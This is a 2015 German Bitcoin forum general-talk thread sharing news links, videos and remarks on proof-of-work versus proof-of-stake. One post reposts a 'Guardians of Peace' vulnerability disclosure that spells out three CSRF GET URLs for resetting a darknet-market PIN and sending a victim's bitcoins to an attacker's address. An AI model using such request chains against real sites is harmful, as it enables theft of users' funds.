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Author Topic: .oOo. Allgemeiner Talk-Thread 2015 .oOo.  (Read 16660 times)
CryptKeeper
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January 20, 2015, 01:58:28 PM
 #121

Heute gibt's mal was zu lachen, für allgemein bessere Laune:


http://www.coindesk.com/federal-reserve-bank-vp-protocol-just-like-bitcoin/


Ich poste natürlich ausschliesslich starke Links, aber der Artikel ist ja wohl wahrhaftig hammer, hammer-hart.  Haw haw.

3% Transaktionskosten, die an die Miner gehen! Das könnte man auch billiger machen, wenn man sich endlich mal vom POW verabschieden würde. Außerdem braucht man diese hohe Rechenleistung gar nicht für die Bitcoin-Transaktionen, nur für das Errechnen der Bitcoin-Blöcke wird die ganze Energie in die Luft gepustet! Die "Difficulty" (ein sich anhand der Hashleistung automatisch erhöhender Wert) bestimmt den Aufwand für die Miner, sonst nichts. Guckt man sich mal POS (Proof-Of-Stake) Systeme an, die wickeln das ganze deutlich kostengünstiger ab. Ein Nxt-Server läuft z.B. auch auf einem Raspberry Pi mit 3-4 Watt Verbrauch.

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qwk
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January 20, 2015, 04:37:14 PM
 #122

Heute gibt's mal was zu lachen, für allgemein bessere Laune:
http://www.coindesk.com/federal-reserve-bank-vp-protocol-just-like-bitcoin/
Zwei Möglichkeiten:
1. er glaubt's wirklich -> feuern
2. er weiß, was für einen Unsinn er erzählt -> feuern

Okay, ist in Wirklichkeit nur eine Möglichkeit Cool

Yeah, well, I'm gonna go build my own blockchain. With blackjack and hookers! In fact forget the blockchain.
dewdeded (OP)
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January 31, 2015, 10:55:23 PM
 #123

https://freedom-to-tinker.com/blog/randomwalker/nine-awesome-bitcoin-projects-at-princeton/

Link enthält Videos der studentischen Abschlusspräsentationen zu ihren eigene Bitcoin Projekten, im Rahmen des "Bitcoin and Crypto Currency Technologie"-Seminars an der Princeton University. Bekanntlich keine ganz so schlechte Alma Mater.
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February 11, 2015, 08:32:36 AM
 #124

Gerade bei www.getdigitals.de gesehen



https://www.getdigital.de/I-accept-Bitcoin.html

(und direkt mal angefragt, wann man die Zahlart auch bei ihnen findet)
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February 15, 2015, 01:18:14 PM
 #125

https://www.youtube.com/user/TheBitcoinArmy

Hat einige ganz nette Videos von der Bitcoin DevCore 2015.
ZyTReX
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February 15, 2015, 03:55:16 PM
 #126

Ein Beitrag vom SRF über Crypto Valley mit Bitcoin Suisse AG und Monetas:
http://www.srf.ch/sendungen/trend/der-kanton-zug-soll-zum-crypto-valley-werden
Bitcoin Teil startet bei Minute 13
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February 21, 2015, 06:17:59 AM
 #127

To whom it may concern

---
Agora Marketplace CSRF to Steal Bitcoins (agorahooawayyfoe.onion) - The Guardians of Peace Aims to Disclose Vulnerabilities in Onion Land

Ladies and gentlemen
Boys and girls
It come to our attention that a brave warrior for the people Ross
William Ulbricht was unlawfully convicted by the corporation known as
the American government.

This mockery of justice has not gone unnoticed.

In order to protect the next generation of darknet markets we will be
disclosing vulnerabilities for these sites in order to make these
sites safer from attack.

To start, the Agora Marketplace contains a CSRF vulnerability which
can be used to drain a victim account of all of their Bitcoins. The
following URLs can be used to perform this attack:

URL to start PIN reset:
http://agorahooawayyfoe.onion/startresetpin?action=askresetpinaction&controller=user&confirmed=true&confirm-submit=

URL to change current PIN:
http://agorahooawayyfoe.onion/resetpin?pin1=1337&pin2=1337&submit=Save

URL to send bitcoins using the new pin:
http://agorahooawayyfoe.onion/sendbitcoins?targetaddress=[YOUR_BTC_ADDY]&withdrawschedule=0&targetamount=1&walletpin=1337&submit=Send

These are all GET requests and don't require JavaScript to work.
NoScript cannot save you from poor coding practices.

There will be more to come. Stay safe. Stay anonymous.

-The Guardians of Peace

Email: agoraagoraagora@hushmail.com
---

Quelle: http://bot24.blogspot.hu/2015/02/agora-marketplace-csrf-to-steal.html
dewdeded (OP)
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February 21, 2015, 01:28:54 PM
 #128

Morgan Spurlock - Living On Bitcoin - The Inside Man Bitcoin
[CNN Full Documentary]

https://www.youtube.com/watch?v=utvkZ8korVM
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March 08, 2015, 09:10:51 AM
 #129

How DigiCash Blew Everything

http://cryptome.org/jya/digicrash.htm

Sehr lesenwerter Artikel zu David Chaum und der Geschichte von Digicash (eine der wenigen Crypto Currencies vor Bitcoin).
CryptKeeper
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March 28, 2015, 08:41:50 PM
 #130

How DigiCash Blew Everything

http://cryptome.org/jya/digicrash.htm

Sehr lesenwerter Artikel zu David Chaum und der Geschichte von Digicash (eine der wenigen Crypto Currencies vor Bitcoin).

Gute Story, dank dir dafür!

Follow me on twitter! I'm a private Bitcoin and altcoin hodler. Giving away crypto for free on my Twitter feed!
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April 05, 2015, 12:05:14 PM
 #131

http://www.coindesk.com/coinbase-seeks-details-us-bitcoin-mining/

WTF!!

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